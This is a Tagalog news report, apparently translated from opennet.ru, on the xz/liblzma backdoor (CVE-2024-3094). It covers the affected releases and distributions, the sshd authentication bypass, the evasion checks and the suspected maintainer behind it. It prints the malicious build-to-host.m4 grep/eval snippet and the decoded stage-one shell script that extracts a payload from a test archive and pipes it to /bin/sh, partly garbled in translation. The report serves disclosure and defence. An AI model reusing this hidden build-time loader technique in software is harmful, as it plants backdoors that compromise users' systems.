Isang backdoor ang natuklasan sa xz/liblzma library na nagpapahintulot sa pagpasok sa pamamagitan ng sshd

Sa XZ Utils package, na kinabibilangan ng liblzma library at mga utility para sa pagtatrabaho sa naka-compress na data sa ".xz" na format, isang backdoor (CVE-2024-3094) ang natukoy na nagpapahintulot sa pagharang at pagbabago ng data na naproseso ng mga application na nauugnay. kasama ang liblzma library. Ang pangunahing target ng backdoor ay ang OpenSSH server, na sa ilang mga distribusyon ay kasama ng libsystemd library, na gumagamit naman ng liblzma. Ang pag-link ng sshd sa isang vulnerable na library ay nagbibigay-daan sa mga umaatake na magkaroon ng access sa SSH server nang walang authentication.

Ang backdoor ay naroroon sa mga opisyal na release 5.6.0 at 5.6.1, na inilathala noong Pebrero 24 at Marso 9, na pinamamahalaang makapasok sa ilang mga distribusyon at mga repositoryo, halimbawa, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide at 40-beta, openSUSE factory at tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Inirerekomenda ang lahat ng user ng xz 5.6.0 at 5.6.1 na mga release na agarang ibalik sa bersyon 5.4.6.

Kabilang sa mga salik na nagpapagaan sa problema, mapapansin na ang bersyon ng liblzma na may backdoor ay hindi nagawang maging bahagi ng mga matatag na pagpapalabas ng malalaking distribusyon, ngunit naapektuhan ang openSUSE Tumbleweed at Fedora 40-beta. Gumamit ang Arch Linux at Gentoo ng vulnerable na bersyon ng zx, ngunit hindi madaling kapitan ng pag-atake dahil hindi nila inilalapat ang systemd-notify patch sa openssh, na nagiging sanhi ng pag-link ng sshd sa liblzma. Nakakaapekto lang ang backdoor sa mga x86_64 system batay sa Linux kernel at sa Glibc C library.

Ang backdoor activation code ay nakatago sa m4 macros mula sa build-to-host.m4 file na ginagamit ng automake toolkit kapag gumagawa. Sa panahon ng pagpupulong, sa panahon ng pagpapatupad ng masalimuot na obfuscated na mga operasyon batay sa mga archive (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), na ginamit upang subukan ang kawastuhan ng operasyon, isang object file na may malisyosong code ang nabuo, na kasama sa ang liblzma library at binago ang operation logic ng ilan sa mga function nito. Ang mga m4 macro na nag-activate sa backdoor ay kasama sa mga release tarball, ngunit wala sa Git repository. Kasabay nito, ang mga nakakahamak na archive ng pagsubok ay naroroon sa repositoryo, i.e. ang taong nagpatupad ng backdoor ay may access sa parehong repositoryo at mga proseso ng pagbuo ng release.

Kapag gumagamit ng liblzma sa mga application, maaaring gamitin ang mga nakakahamak na pagbabago upang maharang o baguhin ang data, o makaapekto sa pagpapatakbo ng sshd. Sa partikular, niloko ng malisyosong code ang RSA_public_decrypt function upang laktawan ang proseso ng sshd authentication. Ang backdoor ay may kasamang proteksyon mula sa pag-detect at hindi nagpakita ng sarili noong ang LANG at TERM na mga variable ng kapaligiran ay itinakda (ibig sabihin, kapag tumatakbo ang proseso sa terminal) at ang LD_DEBUG at LD_PROFILE na mga variable ng kapaligiran ay hindi naitakda, at na-activate lang din kapag isinasagawa ang /usr/sbin/sshd executable file . Ang backdoor ay mayroon ding paraan ng pag-detect ng execution sa mga debug environment.

Sa partikular, ginamit ng m4/build-to-host.m4 file ang gl_am_configmake=`grep -aErls β€œ#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Sa unang konstruksyon, nakita ng grep operation ang file tests/files/bad-3-corrupt_lzma2.xz, na, kapag na-unpack, nabuo ang script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` kung test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi export i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw β€”lzma1 -dc|/bin/sh ####World####

Hindi pa ganap na nilinaw kung paano nakuha ng mga umaatake ang access sa imprastraktura ng xz project. Hindi pa rin malinaw kung gaano karaming mga user at proyekto ang nakompromiso bilang resulta ng backdoor. Ang sinasabing may-akda ng backdoor (JiaT75 - Jia Tan), na nag-post ng mga archive na may malisyosong code sa repository, ay nakipag-ugnayan sa mga developer ng Fedora at nagpadala ng mga pull request sa Debian na may kaugnayan sa paglipat ng mga pamamahagi sa xz 5.6.0 branch, at hindi pumukaw ng hinala, dahil lumahok siya sa xz ay umuunlad sa nakalipas na dalawang taon at siya ang pangalawang developer sa mga tuntunin ng bilang ng mga pagbabagong ginawa. Bilang karagdagan sa proyektong xz, lumahok din ang sinasabing may-akda ng backdoor sa pagbuo ng xz-java at xz-embedded na mga pakete. Bukod dito, si Jia Tan ilang araw na ang nakakaraan ay kasama sa bilang ng mga nagpapanatili ng XZ Embedded na proyekto na ginamit sa Linux kernel.

Natuklasan ang malisyosong pagbabago pagkatapos suriin ang labis na pagkonsumo ng CPU at mga error na nabuo ng valgrind kapag kumokonekta sa pamamagitan ng ssh sa mga Debian sid-based system. Kapansin-pansin na ang xz 5.6.1 na release ay may kasamang mga pagbabagong inihanda ng di-umano'y may-akda ng backdoor bilang tugon sa mga reklamo tungkol sa mga paghina at pag-crash ng sshd na lumitaw pagkatapos mag-upgrade sa zx 5.6.0 na bersyon gamit ang backdoor. Bukod pa rito, noong nakaraang taon ay gumawa si Jia Tan ng mga pagbabago na hindi tugma sa mode ng inspeksyon na "-fsanitize=address", na naging dahilan upang ma-disable ito sa panahon ng fuzz testing.

Pinagmulan: opennet.ru

Magdagdag ng komento